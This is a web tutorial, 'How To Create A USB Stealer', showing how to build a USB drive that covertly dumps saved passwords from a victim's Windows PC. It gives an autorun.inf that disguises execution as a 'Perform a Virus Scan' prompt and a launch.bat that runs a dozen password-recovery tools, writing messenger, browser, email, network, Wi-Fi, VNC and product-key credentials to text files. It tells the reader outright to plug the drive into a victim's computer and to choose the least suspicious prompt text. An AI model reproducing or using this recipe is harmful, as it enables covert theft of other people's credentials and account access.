USB Stealer

How To Create A USB Stealer




Most of the people know that windows stores most of its passwords on daily basis , Such as messenger passwords,Yahoo passwords,Myspace passwords and many login id's and password etc and those who doesn't know will get to know after reading this.In today's world every one is very busy so Most of people have lack of time and they had just asked their Browser/windows to save their passwords,As we know that there are many tools to recover Saved passwords,so in this article i will explain you on How to made a USB passwords stealer and steal saved passwords.

Slacking on password security can have horrific consequences. Even so, it's easy to lose track of how many are vulnerable. With just a couple of files, you can steal passwords from nearly everywhere they're stored on a victim's Windows PC, including your own, just to see how secure they really are.

Firstly You Need to collect some things we need to perform task

  • MessenPass
(MessenPass is a password recovery tool that reveals the passwords of the following instant messenger applications:)
  • IE PassView 
(IE passview is a small program that helps us view stored passwords in Internet explorer.)
  • Mail PassView 
(Mail PassView is a small password-recovery tool that reveals the passwords and other account details for Outlook express,windows mail,POP3 etc.)
  • Protected Storage PassView 
(Protected Storage PassView is a small utility that reveals the passwords stored on your computer by Internet Explorer, Outlook Express and MSN Explorer.)
  • PasswordFox 
(Password fox is a small program used to view Stored passwords in Mozilla Firefox.)
  • OperaPassView 
(OperaPassView is a small password recovery tool that decrypts the content of the Opera Web browser password file (wand.dat) and displays the list of all Web site passwords stored in this file.)
  • ChromePass 
(ChromePass is a small password recovery tool that allows you to view the user names and passwords stored by Google Chrome Web browser. For each password entry, the following information is displayed: Origin URL, Action URL, User Name Field, Password Field, User Name, Password, and Created Time.)
  • Network Password Recovery 
(When you connect to a network share on your LAN or to your .NET Passport account, Windows allows you to save your password in order to use it in each time that you connect the remote server. This utility recovers all network passwords stored on your system for the current logged-on user. It can also recover the passwords stored in Credentials file of external drive, as long as you know the last log-on password.)
  • WirelessKeyView 
(WirelessKeyView recovers all wireless network security keys/passwords (WEP/WPA) stored in your computer by the 'Wireless Zero Configuration' service of Windows XP or by the 'WLAN AutoConfig' service of Windows Vista, Windows 7, Windows 8, and Windows Server 2008.)
  • BulletsPassView 
(BulletsPassView is a password recovery tool that reveals the passwords stored behind the bullets in the standard password text-box of Windows operating system and Internet Explorer Web browser)
  • VNCPassView 
(VNCPassView is a small utility that recover the passwords stored by the VNC tool. It can recover 2 of passwords: password stored for the current logged-on user (HKEY_CURRENT_USER in the Registry), and password stored for the all users.)
  • Produkey 
(ProduKey is a small utility that displays the ProductID and the CD-Key of Microsoft Office (Microsoft Office 2003, Microsoft Office 2007), Windows (Including Windows 7 and Windows Vista), Exchange Server, and SQL Server installed on your computer.)

 First of all download all 12 tools in your USB. Most of them are just some .exe files (mspass.exe, mailpv.exe, iepv.exe, pspv.exe and passwordfox.exe etc). (You need the softwares completely on your pen drive. Make sure you have all the installation files in your USB[if any])

You can download  these softwares from Here mannualy or you can download a zip of 12 tools in one zip from Here.

Steps:


1.Open notepad/wordpad and type:
   [autorun]
   open=launch.bat
   ACTION= Perform a Virus Scan
  save this as AUTORUN.inf



 2. Open a new notepad/wordpad document and type:
start mspass.exe /stext mspass.txt
start mailpv.exe /stext mailpv.txt
start iepv.exe /stext iepv.txt
start pspv.exe /stext pspv.txt
start PasswordFox.exe /stext passwordfox.txt
start OperaPassView.exe /stext OperaPassView.txt
start ChromePass.exe /stext ChromePass.txt
start netpass.exe /stext netpass.txt
start WirelessKeyView.exe /stext WirelessKeyView.txt
start BulletsPassView.exe /stext BulletsPassView.txt
start VNCPassView.exe /stext VNCPassView.txt
start ProduKey.exe /stext ProduKey.txt
save this as LAUNCH.bat

3.Copy the autorun and launch file to your USB


4.Download the programs named in the beggining of the tutorial.


5.Extract the files you downloaded and copy all the .exe files to your USB

6.Remove and re-insert your USB
7.Click on the option perform a virus scan
(this is an example, you can change it to whatever you like)
8.Go to my computer --> USB DRIVE and open it
You will now see some text files, if you open them you will see usernames and passwords

These were simple commands to start up our password “recovering” programs as soon as we plug in the USB. What we just did here is simply hook up our launch.bat batch file to the autorun.inf file that automatically runs when the computer detects the USB. In the launch.bat, we started up our programs and provided them with file names as parameters so that each program should put in the passwords in their respective .txt files.
Now your USB password stealer is ready. All you have to do is insert it in your victims computer and a popup will appear, in the popup window select the option (Perform a virus scan) as soon as you will click it, your USB password stealer will do it’s magic and all the passwords saved on the system will be saved in a .txt file. I recommend you try it out on your own system first to see how it should work. See the last line of our autorun.inf, we are simply specifying the text for the alert dialog. You can type in anything you think is the least suspicious.This may not work on all operating systems and all different browsers. Your best bet would be to pack in as many diverse programs as you can for giving you the best chance. Also, note that the computer should not have autorun feature disabled for the USB stealer to work.

NOTE:  This only recovers passwords that have once been saved on your computer. The option "Perform a virus scan" will not work on Windows Vista/7/8, you will have to open your USB Flash Drive and execute either the autorun or the launch file. If you have a little knowledge about this type of code, you can edit it to execute only the files you want.

Thank you

Comments